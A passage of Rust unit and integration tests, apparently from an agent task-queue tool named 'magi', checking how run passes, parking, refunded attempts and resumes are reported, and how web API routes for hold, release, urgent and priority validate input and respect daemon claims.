13963 f.edges[1].attempt,
13964 AttemptCost::Unknown,
13965 "a resume does not prove the earlier pass was refunded"
13966 );
13967 assert!(f.edges[1].label.contains("resume the same run"));
13968 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
13969 assert_eq!(
13970 f.edges[2].label,
13971 "stalled after a resume, refund unknown \u{2192} queued"
13972 );
13973 assert!(!f.nodes[2].decided, "a stall is not a decision");
13974 assert_eq!(f.nodes[2].note, Some("no verdict"));
13975 }
13976
13977 #[test]
13978 fn flow_single_pass_quota_stall_is_refunded() {
13979 let t = flow_task(&[FA]);
13980 let f = flow_for(
13981 &t,
13982 &[(
13983 FA,
13984 Some(flow_run(RunStatus::Stalled, |s| {
13985 s.quota.push(crate::run::QuotaLoss {
13986 seat: "judge-1".to_owned(),
13987 node: "judge".to_owned(),
13988 at: Timestamp::now(),
13989 reset: None,
13990 })
13991 })),
13992 )],
13993 );
13994 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
13995 }
13996
13997 #[test]
13998 fn flow_parked_refunds_and_stall_without_quota_spends() {
13999 let mut t = flow_task(&[FA]);
14000 t.status = TaskStatus::Queued;
14001 let f = flow_for(
14002 &t,
14003 &[(
14004 FA,
14005 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
14006 )],
14007 );
14008 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
14009 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
14010 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
14011 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
14012 assert!(!f.nodes[1].decided);
14013 }
14014
14015 #[test]
14016 fn flow_keeps_an_unreadable_run_as_its_own_node() {
14017 let t = flow_task(&[FA, FB]);
14018 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
14019 assert_eq!(f.nodes[1].note, Some("unreadable"));
14020 assert!(!f.nodes[1].readable);
14021 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
14022 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
14023 }
14024
14025 #[test]
14026 fn flow_names_the_branch_of_a_review_only_run() {
14027 let t = flow_task(&[FA]);
14028 let f = flow_for(
14029 &t,
14030 &[(
14031 FA,
14032 Some(flow_run(RunStatus::Merged, |s| {
14033 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
14034 })),
14035 )],
14036 );
14037 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
14038 assert_eq!(
14039 f.nodes[1].detail.as_deref(),
14040 Some("review-only run of branch magi/x/A")
14041 );
14042 }
14043
14044 #[test]
14045 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
14046 let mut t = flow_task(&[FA]);
14047 t.status = TaskStatus::Held;
14048 let pr = crate::run::PrRecord {
14049 url: "https://example.test/pr/1".to_owned(),
14050 number: 1,
14051 state: "open".to_owned(),
14052 checks: "green".to_owned(),
14053 round: 0,
14054 rounds: 3,
14055 red_at_merge: Vec::new(),
14056 };
14057 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
14058 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
14059 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
14060 t.status = TaskStatus::Done;
14061 let f = flow_for(&t, &[(FA, Some(blocked))]);
14062 assert_eq!(f.edges[1].label, "closed by hand: task is done");
14063 }
14064
14065 #[test]
14066 fn flow_with_no_runs_goes_from_queued_to_queued() {
14067 let t = flow_task(&[]);
14068 let f = flow_for(&t, &[]);
14069 assert_eq!(f.nodes.len(), 2);
14070 assert_eq!(f.edges.len(), 1);
14071 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
14072 assert_eq!(f.edges[0].attempt, AttemptCost::None);
14073 }
14074
14075 #[test]
14078 fn a_parked_non_terminal_run_is_explained_as_parked() {
14079 let mut s = RunState::new(
14080 PathBuf::from("/repo/magi"),
14081 "main".to_owned(),
14082 "0123456789abcdef".to_owned(),
14083 "Do it".to_owned(),
14084 Config::default(),
14085 );
14086 s.status = RunStatus::Implementing;
14087 s.parked = true;
14088 let task = Task::new(
14089 "t".to_owned(),
14090 "Do it".to_owned(),
14091 PathBuf::from("/repo/magi"),
14092 Source::Human,
14093 );
14094 let v = task_run_view(
14095 "20260902-140501-aaaa",
14096 Some(&s),
14097 RunSlot {
14098 n: 1,
14099 resumed: false,
14100 resumed_later: None,
14101 prior: None,
14102 last: true,
14103 ..RunSlot::default()
14104 },
14105 &task,
14106 );
14107 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
14108 }
14109
14110 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
14111 let mut s = flow_run(RunStatus::Implementing, edit);
14112 s.parked = false;
14113 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
14114 task_run_view(
14115 "20260902-140501-aaaa",
14116 Some(&s),
14117 RunSlot {
14118 n: 1,
14119 resumed: false,
14120 resumed_later: Some(2),
14121 prior: None,
14122 last: false,
14123 ..RunSlot::default()
14124 },
14125 &task,
14126 )
14127 }
14128
14129 #[test]
14130 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
14131 let v = earlier_pass_view(|_| {});
14132 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
14133 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
14134 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
14135 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
14136 assert_eq!(v.exit, RunExit::Interrupted);
14137 assert_eq!(v.attempt, AttemptCost::Unknown);
14138 }
14139
14140 #[test]
14141 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
14142 let v = earlier_pass_view(|s| {
14143 s.quota.push(crate::run::QuotaLoss {
14144 seat: "judge-1".to_owned(),
14145 node: "judge".to_owned(),
14146 at: Timestamp::now(),
14147 reset: None,
14148 });
14149 });
14150 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
14151 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
14152 assert_eq!(v.attempt, AttemptCost::Unknown);
14153 }
14154
14155 #[test]
14156 fn the_current_pass_states_its_recorded_cause_and_cost() {
14157 let slot = || RunSlot {
14158 n: 1,
14159 resumed: false,
14160 resumed_later: None,
14161 prior: None,
14162 last: true,
14163 ..RunSlot::default()
14164 };
14165 let task = flow_task(&["20260902-140501-aaaa"]);
14166 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
14167 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
14168 assert_eq!(
14169 (v.exit, v.attempt),
14170 (RunExit::Parked, AttemptCost::Refunded)
14171 );
14172 let spent = flow_run(RunStatus::Blocked, |_| {});
14173 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
14174 assert_eq!(v.attempt, AttemptCost::Spent);
14175 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
14176 }
14177
14178 fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
14179 crate::run::RunPass {
14180 index,
14181 started_at: Timestamp::now(),
14182 resumed: index > 0,
14183 ended_at: end.as_ref().map(|_| Timestamp::now()),
14184 end,
14185 task_entry: true,
14186 }
14187 }
14188
14189 fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
14190 Some(crate::run::PassEnd::Parked { cause })
14191 }
14192
14193 fn upgrade_cause() -> crate::run::ParkCause {
14194 crate::run::ParkCause::Upgrade {
14195 from: "0.121.0".to_owned(),
14196 to: Some("0.121.1".to_owned()),
14197 }
14198 }
14199
14200 fn settled_pass(
14201 run: &str,
14202 index: usize,
14203 cost: crate::queue::PassCost,
14204 ) -> crate::queue::TaskPass {
14205 crate::queue::TaskPass {
14206 run: run.to_owned(),
14207 pass_index: index,
14208 cost,
14209 attempts_after: 1,
14210 settled_at: Timestamp::now(),
14211 parked: None,
14212 }
14213 }
14214
14215 const RUN_X: &str = "20261011-223708-4334";
14216
14217 #[test]
14218 fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
14219 use crate::queue::PassCost;
14220 let run = flow_run(RunStatus::Implementing, |s| {
14221 s.passes = vec![
14222 recorded_pass(0, parked(upgrade_cause())),
14223 recorded_pass(1, None),
14224 ];
14225 });
14226 let mut task = flow_task(&[RUN_X, RUN_X]);
14227 task.attempts = 1;
14228 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
14229 let h = task_history(&task, |_| Some(run.clone()));
14230 assert_eq!(h.len(), 2);
14231 assert_eq!(h[0].kind, "competition");
14232 assert_eq!(h[1].kind, "resume");
14233 assert_eq!(
14234 (h[0].exit, h[0].attempt),
14235 (RunExit::Parked, AttemptCost::Refunded)
14236 );
14237 assert!(
14238 h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
14239 "{}",
14240 h[0].outcome
14241 );
14242 assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
14243 assert!(
14244 h[0].outcome.contains("pass #2 resumed the same run"),
14245 "{}",
14246 h[0].outcome
14247 );
14248 assert!(
14249 h[0].outcome.contains("pass 1 of 2 over run"),
14250 "{}",
14251 h[0].outcome
14252 );
14253 assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
14254 assert_eq!(
14255 h[0].exit_label,
14256 "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
14257 );
14258 let f = task_flow(&task, &h, 2, None);
14259 assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
14261 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
14262 assert!(
14263 f.edges[1].label.contains("upgrade 0.121.0"),
14264 "{}",
14265 f.edges[1].label
14266 );
14267 assert!(
14268 f.edges[1].label.contains("resume the same run"),
14269 "{}",
14270 f.edges[1].label
14271 );
14272 assert_eq!(f.nodes[1].note, Some("parked"));
14273 }
14274
14275 #[test]
14276 fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
14277 let mut a = flow_run(RunStatus::Implementing, |s| {
14278 s.passes = vec![
14279 recorded_pass(0, parked(upgrade_cause())),
14280 recorded_pass(1, None),
14281 ];
14282 });
14283 let mut b = flow_run(RunStatus::Failed, |s| {
14284 s.passes = vec![recorded_pass(0, None)];
14285 });
14286 a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
14287 b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
14288 a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
14289 let mut task = flow_task(&[]);
14290 task.start("a".into());
14291 task.start("b".into());
14292 task.start("a".into());
14293 assert_eq!(task.runs, ["b", "a"]);
14294 task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
14295 let h = task_history(&task, |id| {
14296 Some(if id == "a" { a.clone() } else { b.clone() })
14297 });
14298 assert_eq!(
14299 h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
14300 ["a", "b", "a"]
14301 );
14302 assert_eq!(h[0].attempt, AttemptCost::Refunded);
14303 assert!(h[0].outcome.contains("upgrade"));
14304 assert_eq!(h[2].kind, "resume");
14305 assert!(h[2].pass.is_some());
14306 task.runs = vec!["a".into(), "b".into(), "a".into()];
14308 let old = task_history(&task, |id| {
14309 Some(if id == "a" { a.clone() } else { b.clone() })
14310 });
14311 assert_eq!(
14312 old.iter()
14313 .map(|v| (&v.id, &v.kind, v.attempt))
14314 .collect::<Vec<_>>(),
14315 h.iter()
14316 .map(|v| (&v.id, &v.kind, v.attempt))
14317 .collect::<Vec<_>>()
14318 );
14319 }
14320
14321 #[test]
14322 fn an_upgrade_whose_target_was_not_known_says_so() {
14323 let run = flow_run(RunStatus::Implementing, |s| {
14324 s.passes = vec![
14325 recorded_pass(
14326 0,
14327 parked(crate::run::ParkCause::Upgrade {
14328 from: "0.121.0".to_owned(),
14329 to: None,
14330 }),
14331 ),
14332 recorded_pass(1, None),
14333 ];
14334 });
14335 let task = flow_task(&[RUN_X, RUN_X]);
14336 let h = task_history(&task, |_| Some(run.clone()));
14337 assert!(
14338 h[0].outcome.contains("upgrade from 0.121.0"),
14339 "{}",
14340 h[0].outcome
14341 );
14342 assert_eq!(h[0].attempt, AttemptCost::Unknown);
14344 }
14345
14346 #[test]
14347 fn each_pass_keeps_its_own_cause_across_several_resumes() {
14348 use crate::queue::PassCost;
14349 use crate::run::ParkCause;
14350 let run = flow_run(RunStatus::Implementing, |s| {
14351 s.passes = vec![
14352 recorded_pass(0, parked(upgrade_cause())),
14353 recorded_pass(
14354 1,
14355 parked(ParkCause::Interrupt {
14356 reason: "task a1b2 asked to run first".to_owned(),
14357 }),
14358 ),
14359 recorded_pass(2, parked(ParkCause::Operator)),
14360 recorded_pass(3, None),
14361 ];
14362 });
14363 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
14364 task.attempts = 1;
14365 task.passes = (0..3)
14366 .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
14367 .collect();
14368 let h = task_history(&task, |_| Some(run.clone()));
14369 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
14370 assert!(
14371 h[1].outcome.contains("task a1b2 asked to run first"),
14372 "{}",
14373 h[1].outcome
14374 );
14375 assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
14376 assert!(
14377 h[2].outcome.contains("operator asked the loop to park"),
14378 "{}",
14379 h[2].outcome
14380 );
14381 assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
14382 let f = task_flow(&task, &h, 2, None);
14383 assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
14384 }
14385
14386 #[test]
14387 fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
14388 let run = flow_run(RunStatus::Implementing, |s| {
14389 s.passes = vec![
14390 recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
14391 recorded_pass(1, None),
14392 ];
14393 });
14394 let task = flow_task(&[RUN_X, RUN_X]);
14395 let h = task_history(&task, |_| Some(run.clone()));
14396 assert_eq!(h[0].exit, RunExit::Interrupted);
14397 assert_eq!(h[0].attempt, AttemptCost::Unknown);
14398 assert!(
14399 h[0].outcome.contains("without recording why"),
14400 "{}",
14401 h[0].outcome
14402 );
14403 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
14404 assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
14405 }
14406
14407 #[test]
14408 fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
14409 use crate::queue::PassCost;
14410 let run = flow_run(RunStatus::Implementing, |s| {
14413 s.passes = vec![
14414 recorded_pass(0, parked(upgrade_cause())),
14415 recorded_pass(1, None),
14416 ];
14417 });
14418 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
14419 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
14420 let h = task_history(&task, |_| Some(run.clone()));
14421 assert!(h[0].pass.is_none());
14422 assert_eq!(h[0].exit, RunExit::Interrupted);
14423 assert_eq!(h[0].attempt, AttemptCost::Unknown);
14424 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
14425 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
14426 assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
14427 let legacy = flow_run(RunStatus::Implementing, |_| {});
14429 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
14430 assert!(h.iter().all(|v| v.pass.is_none()));
14431 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
14432 }
14433
14434 #[test]
14435 fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
14436 use crate::queue::PassCost;
14437 let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
14440 web.task_entry = false;
14441 let run = flow_run(RunStatus::Implementing, |s| {
14442 s.passes = vec![
14443 recorded_pass(0, parked(upgrade_cause())),
14444 web.clone(),
14445 recorded_pass(2, None),
14446 ];
14447 });
14448 let mut task = flow_task(&[RUN_X, RUN_X]);
14449 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
14450 let h = task_history(&task, |_| Some(run.clone()));
14451 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
14452 assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
14453
14454 let mut web0 = recorded_pass(0, parked(upgrade_cause()));
14457 web0.task_entry = false;
14458 let run = flow_run(RunStatus::Implementing, |s| {
14459 s.passes = vec![web0.clone(), recorded_pass(1, None)];
14460 });
14461 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
14462 assert!(h[0].pass.is_none());
14463 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
14464 assert!(h[1].pass.is_some());
14465 }
14466
14467 #[tokio::test]
14468 async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
14469 let dir = tempfile::tempdir().unwrap();
14470 let queue = Queue::at(dir.path().join("queue"));
14471 let ui = Arc::new(Ui::new(
14472 queue.clone(),
14473 Questions::at(dir.path().join("questions")),
14474 Talks::at(dir.path().join("talks")),
14475 dir.path().join("runs"),
14476 dir.path().to_path_buf(),
14477 dir.path().to_path_buf(),
14478 ));
14479 let mut t = Task::new(
14480 "recover".into(),
14481 "Inspect".into(),
14482 PathBuf::from("."),
14483 Source::Human,
14484 );
14485 t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
14486 t.start("run-A".into());
14487 t.release_operator("choice", Some("resume-question"));
14488 t.resume_override = Some(crate::queue::OperatorResume {
14489 question_id: "resume-question".into(),
14490 at: jiff::Timestamp::now(),
14491 conductor_rehold: None,
14492 forced: true,
14493 pinned_run: Some("run-A".into()),
14494 });
14495 t.hold_machine(Some("inspection pending".into()));
14496 t.edit("recover".into(), "Reuse approved PR head".into())
14497 .unwrap();
14498 queue.put(&mut t).unwrap();
14499 let mut cli = t.clone();
14500 cli.release_operator("cli", None);
14501 let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
14502 let reloaded = queue.get(&t.id).unwrap();
14503 assert_eq!(reply.task.status, TaskStatus::Queued);
14504 assert!(reloaded.resume_override.is_none());
14505 assert_eq!(reloaded.answers, t.answers);
14506 let mut web = reloaded.resumption.unwrap();
14507 let cli = cli.resumption.unwrap();
14508 assert_eq!(web.source, "web");
14509 web.source = cli.source.clone();
14510 web.at = cli.at;
14511 assert_eq!(web, cli);
14512 }
14513
14514 #[tokio::test]
14515 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
14516 let f = Fixture::start().await;
14517 let queue = f.queue();
14518 let mut task = Task::new(
14519 "spent".to_owned(),
14520 "Try again".to_owned(),
14521 PathBuf::from("/repo/magi"),
14522 Source::Human,
14523 );
14524 task.start("20260902-140502-bbbb".to_owned());
14525 task.fail("agent gave up", 9);
14526 queue.put(&mut task).expect("file the task");
14527
14528 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
14529 assert_eq!(held.status, 200);
14530 assert_eq!(held.json()["status_str"], "held");
14531
14532 let released = f
14533 .post(&format!("/api/queue/{}/release", task.id), None)
14534 .await;
14535 assert_eq!(released.status, 200);
14536 assert_eq!(released.json()["status_str"], "queued");
14537 assert_eq!(released.json()["resumption"]["source"], "web");
14538 assert_eq!(released.json()["resumption"]["instruction"], "Try again");
14539 let mut cli = task.clone();
14540 cli.release_operator("cli", None);
14541 let web = queue.get(&task.id).unwrap().resumption.unwrap();
14542 let cli = cli.resumption.unwrap();
14543 assert_eq!(web.instruction, cli.instruction);
14544 assert_eq!(web.answers_through, cli.answers_through);
14545 assert_eq!(web.runs_through, cli.runs_through);
14546 assert_eq!(web.cleared_reason, cli.cleared_reason);
14547 assert_eq!(
14548 released.json()["attempts"],
14549 0,
14550 "release is a real second chance, not an instant re-hold"
14551 );
14552 assert_eq!(
14553 queue.get(&task.id).expect("reload").status,
14554 TaskStatus::Queued,
14555 "the change is on disk, not only in the reply"
14556 );
14557 assert!(
14558 !f.home
14559 .path()
14560 .join("queue")
14561 .join(format!("{}.lock", task.id))
14562 .exists(),
14563 "the claim the mutation took is released again"
14564 );
14565 }
14566
14567 #[tokio::test]
14568 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
14569 let f = Fixture::start().await;
14570 let queue = f.queue();
14571 let mut task = Task::new(
14572 "busy".to_owned(),
14573 "Running right now".to_owned(),
14574 PathBuf::from("/repo/magi"),
14575 Source::Human,
14576 );
14577 queue.put(&mut task).expect("file the task");
14578 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
14579
14580 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
14581
14582 assert_eq!(res.status, 409);
14583 assert_eq!(
14584 queue.get(&task.id).expect("reload").status,
14585 TaskStatus::Queued,
14586 "the refused hold changed nothing"
14587 );
14588 }
14589
14590 #[tokio::test]
14591 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
14592 let f = Fixture::start().await;
14593 let queue = f.queue();
14594 let mut task = Task::new(
14595 "waiting on the migration".to_owned(),
14596 "Do the thing".to_owned(),
14597 PathBuf::from("/repo/magi"),
14598 Source::Human,
14599 );
14600 queue.put(&mut task).expect("file the task");
14601
14602 let held = f
14603 .post(
14604 &format!("/api/queue/{}/hold", task.id),
14605 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
14606 )
14607 .await;
14608 assert_eq!(held.status, 200, "{}", held.body);
14609 assert_eq!(held.json()["status_str"], "held");
14610 assert_eq!(
14611 held.json()["hold_reason"],
14612 "waiting for 20260101-000000-aaaa to land"
14613 );
14614
14615 let listed = f.get("/api/queue").await.json();
14616 assert_eq!(
14617 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
14618 "the card reads the reason off the same list route"
14619 );
14620
14621 let mut plain = Task::new(
14624 "no reason given".to_owned(),
14625 "Do another thing".to_owned(),
14626 PathBuf::from("/repo/magi"),
14627 Source::Human,
14628 );
14629 queue.put(&mut plain).expect("file the task");
14630 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
14631 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
14632 assert!(held_plain.json()["hold_reason"].is_null());
14633
14634 let released = f
14635 .post(&format!("/api/queue/{}/release", task.id), None)
14636 .await;
14637 assert_eq!(released.status, 200);
14638 assert!(
14639 released.json()["hold_reason"].is_null(),
14640 "a release must clear the reason so the next hold does not inherit it"
14641 );
14642 }
14643
14644 #[test]
14645 fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
14646 for urgent in [true, false] {
14647 let body: UrgentBody =
14648 serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
14649 assert_eq!(body.urgent, urgent);
14650 }
14651 for input in [
14652 r#"{}"#,
14653 r#"{"urgent":null}"#,
14654 r#"{"urgent":"true"}"#,
14655 r#"{"urgent":1}"#,
14656 r#"{"urgent":true,"extra":false}"#,
14657 ] {
14658 assert!(
14659 serde_json::from_str::<UrgentBody>(input).is_err(),
14660 "{input}"
14661 );
14662 }
14663 }
14664
14665 #[tokio::test]
14666 async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
14667 let home = TempDir::new().unwrap();
14668 let q = Queue::at(home.path().join("queue"));
14669 let ui = Arc::new(Ui::new(
14670 q.clone(),
14671 Questions::at(home.path().join("questions")),
14672 Talks::at(home.path().join("talks")),
14673 home.path().join("runs"),
14674 home.path().into(),
14675 home.path().into(),
14676 ));
14677 let mut task = Task::new(
14678 "urgent handler".into(),
14679 "keep".into(),
14680 home.path().into(),
14681 Source::Human,
14682 );
14683 for status in [TaskStatus::Queued, TaskStatus::Held] {
14684 task.status = status;
14685 q.put(&mut task).unwrap();
14686 for urgent in [true, true, false, false] {
14687 let saved = queue_urgent(
14688 State(Arc::clone(&ui)),
14689 Path(task.short().into()),
14690 Ok(Json(UrgentBody { urgent })),
14691 )
14692 .await
14693 .unwrap();
14694 assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
14695 assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
14696 }
14697 }
14698 task.status = TaskStatus::Queued;
14699 q.put(&mut task).unwrap();
14700 let claim = q.claim(&task.id).unwrap();
14701 let error = queue_urgent(
14702 State(Arc::clone(&ui)),
14703 Path(task.id.clone()),
14704 Ok(Json(UrgentBody { urgent: true })),
14705 )
14706 .await
14707 .unwrap_err();
14708 assert_eq!(error.status, StatusCode::CONFLICT);
14709 assert!(error.message.contains("released"));
14710 drop(claim);
14711 for status in [
14712 TaskStatus::Running,
14713 TaskStatus::Done,
14714 TaskStatus::Failed,
14715 TaskStatus::Blocked,
14716 TaskStatus::Parked,
14717 ] {
14718 task.status = status;
14719 q.put(&mut task).unwrap();
14720 let error = queue_urgent(
14721 State(Arc::clone(&ui)),
14722 Path(task.id.clone()),
14723 Ok(Json(UrgentBody { urgent: false })),
14724 )
14725 .await
14726 .unwrap_err();
14727 assert_eq!(error.status, StatusCode::BAD_REQUEST);
14728 assert!(error.message.contains(status.as_str()));
14729 }
14730 }
14731
14732 #[tokio::test]
14733 async fn urgent_api_updates_preserves_and_validates_tasks() {
14734 let f = Fixture::start().await;
14735 let q = f.queue();
14736 let mut t = Task::new(
14737 "urgent API".into(),
14738 "unchanged".into(),
14739 PathBuf::from("/repo/magi"),
14740 Source::Human,
14741 );
14742 t.attempts = 2;
14743 t.priority = 9;
14744 t.interrupt = true;
14745 t.hold_reason = Some("waiting for approval".into());
14746 for status in [TaskStatus::Queued, TaskStatus::Held] {
14747 t.status = status;
14748 q.put(&mut t).unwrap();
14749 for urgent in [true, true, false, false] {
14750 let response = f
14751 .post(
14752 &format!("/api/queue/{}/urgent", t.short()),
14753 Some(&format!("{{\"urgent\":{urgent}}}")),
14754 )
14755 .await;
14756 assert_eq!(response.status, 200, "{}", response.body);
14757 assert_eq!(response.json()["urgent"], urgent);
14758 let saved = q.get(&t.id).unwrap();
14759 let mut before = serde_json::to_value(&t).unwrap();
14760 let mut after = serde_json::to_value(saved).unwrap();
14761 before["urgent"] = urgent.into();
14762 before.as_object_mut().unwrap().remove("updated_at");
14763 after.as_object_mut().unwrap().remove("updated_at");
14764 assert_eq!(after, before);
14765 }
14766 }
14767 let route = format!("/api/queue/{}/urgent", t.id);
14768 for body in [
14769 r#"{}"#,
14770 r#"{"urgent":null}"#,
14771 r#"{"urgent":"true"}"#,
14772 r#"{"urgent":1}"#,
14773 r#"{"urgent":true,"extra":false}"#,
14774 "{",
14775 ] {
14776 assert_eq!(f.post(&route, Some(body)).await.status, 400);
14777 }
14778 t.status = TaskStatus::Queued;
14779 q.put(&mut t).unwrap();
14780 let claim = q.claim(&t.id).unwrap();
14781 let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
14782 assert_eq!(response.status, 409, "{}", response.body);
14783 assert!(!q.get(&t.id).unwrap().urgent);
14784 drop(claim);
14785 for status in [
14786 TaskStatus::Running,
14787 TaskStatus::Done,
14788 TaskStatus::Failed,
14789 TaskStatus::Blocked,
14790 TaskStatus::Parked,
14791 ] {
14792 t.status = status;
14793 q.put(&mut t).unwrap();
14794 for urgent in [true, false] {
14795 let response = f
14796 .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
14797 .await;
14798 assert_eq!(response.status, 400, "{}", response.body);
14799 assert!(response.body.contains(status.as_str()));
14800 assert!(response.body.contains("queued or held"));
14801 assert!(!q.get(&t.id).unwrap().urgent);
14802 }
14803 }
14804 assert_eq!(
14805 f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
14806 .await
14807 .status,
14808 404
14809 );
14810 }
14811
14812 #[tokio::test]
14813 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
14814 let f = Fixture::start().await;
14815 let queue = f.queue();
14816 let mut older = Task::new(
14817 "filed first".to_owned(),
14818 "x".to_owned(),
14819 PathBuf::from("/repo/magi"),
14820 Source::Human,
14821 );
14822 older.id = "20260101-000001-aaaa".to_owned();
14823 let mut newer = Task::new(
14824 "filed second".to_owned(),
14825 "x".to_owned(),
14826 PathBuf::from("/repo/magi"),
14827 Source::Human,
14828 );
14829 newer.id = "20260101-000002-bbbb".to_owned();
14830 queue.put(&mut older).expect("file older");
14831 queue.put(&mut newer).expect("file newer");
14832
14833 let before = f.get("/api/queue").await.json();
14836 assert_eq!(before[0]["id"], newer.id);
14837 assert_eq!(before[1]["id"], older.id);
14838
14839 let raised = f
14843 .post(
14844 &format!("/api/queue/{}/priority", older.id),
14845 Some(r#"{"priority":10}"#),
14846 )
14847 .await;
14848 assert_eq!(raised.status, 200, "{}", raised.body);
14849 assert_eq!(raised.json()["priority"], 10);
14850
14851 let after = f.get("/api/queue").await.json();
14852 let names: Vec<&str> = after
14853 .as_array()
14854 .unwrap()
14855 .iter()
14856 .map(|t| t["id"].as_str().unwrap())
14857 .collect();
14858 assert_eq!(names[0], older.id, "the raised task now sorts first");
14862 }
14863
14864 #[tokio::test]
14865 async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
14866 let dir = TempDir::new().unwrap();
14867 let q = Queue::at(dir.path().join("queue"));
14868 let ui = Arc::new(Ui::new(
14869 q.clone(),
14870 Questions::at(dir.path().join("questions")),
14871 Talks::at(dir.path().join("talks")),
14872 dir.path().join("runs"),
14873 dir.path().to_path_buf(),
14874 dir.path().to_path_buf(),
14875 ));
14876 let mut t = Task::new(
14877 "budget".into(),
14878 "keep".into(),
14879 dir.path().into(),
14880 Source::Human,
14881 );
